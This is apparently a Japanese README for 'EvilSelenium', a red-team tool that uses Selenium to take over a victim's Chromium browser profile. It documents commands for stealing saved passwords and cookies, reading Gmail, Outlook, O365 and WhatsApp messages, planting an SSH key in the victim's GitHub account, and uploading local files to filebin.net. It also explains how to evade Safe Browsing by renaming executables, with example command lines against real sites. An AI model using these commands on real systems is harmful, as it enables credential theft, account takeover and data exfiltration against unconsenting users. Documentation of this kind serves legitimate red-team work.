
Seleniumを武器化し、Chromiumブラウザからの資格情報窃取、クッキーダンプ、電子メール流出、ファイル抽出を自動化し、レッドチーム作戦に活用します。
EvilSeleniumは、Seleniumを悪用してChromiumベースのブラウザを標的にする新しいプロジェクトです。現在の機能は以下の通りです:
または、既存の機能を拡張して自分のニーズに合わせることもできます(例:ユーザーのGDrive/OneDriveからファイルをダウンロード)。
このツールを実行すると、パスワードとアクティブなセッションを含むユーザーのブラウザプロファイルで実行できるように、既存のブラウザプロセスがすべて終了されます。
このツールは約1週間で構築したもので、十分なテストを行っていないため、バグが存在する可能性があります。
Seleniumモジュールは常に安定しているわけではありません。Webサイトの絶え間ない変更により、一部のモジュールが時々動作しなくなる可能性があります。既存のモジュールが意図したとおりに動作するよう最善を尽くしてメンテナンスしますが、その点はご了承ください。
EvilSelenium.exe /?
/help - このヘルプメニューを表示します。
設定:
/install - chromedriverとSelenium webdriverをインストールします。一度だけ実行してください。
グローバル:(すべてのコマンドで使用可能)
/browserdir [appdata_local_routing] - カスタムブラウザを使用します。入力は%appdatalocal%ディレクトリ内のルーティング(例:"Microsoft\Edge")です。
偵察:
/enumsavedsites [out_path] - スクリーンショットを使ってパスワードが保存されているWebサイトを確認します。
/screenshot [website] [out_path] - 指定されたWebページのスクリーンショットを取得します。
認証情報:
/autorun - 一般的なWebサイトから保存された認証情報を抽出します。
/dynamicid [login_page] [username_id] [password_id] - ユーザー名フィールドIDとパスワードフィールドIDを指定して、Webサイトから保存された認証情報を抽出します。
/dynamicname [login_page] [username_name] [password_name] - ユーザー名フィールドのname値とパスワードフィールドのname値を指定して、Webサイトから保存された認証情報を抽出します。
/dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] - ユーザー名フィールドのname値、パスワードフィールドのname値、およびそれらの位置を指定して、Webサイトから保存された認証情報を抽出します。
Cookie:
/cookies [website] - 指定されたWebサイトのCookieを取得します。
モジュール:
/download [file_url] [seconds] - ファイルをダウンロードし、ダウンロード完了までの待機時間を指定します。ファイル拡張子は実行可能ファイルにしてはいけません。
/exfil [local_file] [seconds] - ファイルをfilebin.netにアップロードし、ダウンロードリンクを出力します。
/gmail [out_path] [num_of_emails] - ユーザーが認証されている場合、mail.google.comからメールを取得します。最大50件。
/outlook [out_path] [num_of_emails] - ユーザーが認証されている場合、Outlookからメールを取得します。
/o365 [out_path] [num_of_emails] - ユーザーが認証されている場合、O365 Outlookからメールを取得します。
/github [key] - ユーザーが認証されている場合、SSHキーをGitHubに追加します。
/whatsapp [out_path] - ユーザーが認証されている場合、WhatsAppメッセージを取得します(ベータ版)。
/installコマンドは、必要なChrome DriverとSelenium WebDriverをダウンロードします。EvilSeleniumはChromeバージョン100〜90で動作します。
Windows 10、Chrome v97およびv90でテスト済み。
EvilSelenium.exe /install
デフォルトではEvilSeleniumはGoogle ChromeのUser Dataフォルダを使用してデータを取得しようとしますが、他のChromiumベースのブラウザもサポートされています。
異なるChromeベースのブラウザを使用するには、%localappdata%ディレクトリ内のブラウザのルーティングに続けて/browserdirを追加します。
以下はいくつかの一般的なブラウザの例です(任意のCLIコマンドに追加する必要があります):
/browserdir BraveSoftware\Brave-Browser/browserdir Microsoft\Edge/browserdir Vivaldi/enumsavedsites - これにより、chrome://settings/passwordsのスクリーンショットを取得します。
/screenshot - 任意のWebサイトのスクリーンショットを取得します。ユーザーがそのWebサイトに認証されている場合、認証済みのスクリーンショットが取得できます:)。
重要: 認証情報モジュールは、自動入力から認証情報を盗むためにCookieを削除します。理想的には、Cookieをエクスポートしたい場合は認証情報モジュールを最後に使用するべきです。
/autorun - 一般的なWebサイト向けのプリビルドテンプレート。今後も追加していきます。
/dynamicid - ログインURLと、ユーザー名入力フィールドのIDおよびパスワードフィールドのIDを指定します。これはdocument.getElementById()と同等です。
/dynamicname - フィールドにIDがない場合、フィールドのname値を指定します。name値の最初のインデックスが選択されます。これはdocument.getElementsByName()[0].valueと同等です。
/dynamicname2 - フィールドのname値とそのインデックス位置を指定します。これはdocument.getElementsByName()[x].value(xは指定された位置)と同等です。
/cookies - 指定されたWebサイトのCookieをダンプします。
これらは、Seleniumで可能なアクションの例として作成した追加モジュールです。
/download - ファイルをダウンロードし、ダウンロード完了までの待機時間を指定します。Chromeのセーフブラウジングプロンプトを回避するために、ダウンロード前に実行可能ファイル以外のファイル拡張子をファイルに付加する必要があります。
/exfil - ファイルをfilebin.netにアップロードし、アップロード完了までの待機時間を指定します。アップロードが完了すると、ファイルのダウンロードリンクが出力されます。
/gmail - ユーザーが認証されている場合、mail.google.comからメールを取得します。最大50件。
/outlook - ユーザーが認証されている場合、Outlookからメールを取得します。
/o365 - ユーザーが認証されている場合、O365 Outlookからメールを取得します。
/github - ユーザーが認証されている場合、SSHキーをGitHubに追加します。
/whatsapp - ユーザーが認証されている場合、WhatsAppメッセージを取得します(ベータ版)。
EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads
EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password
EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password
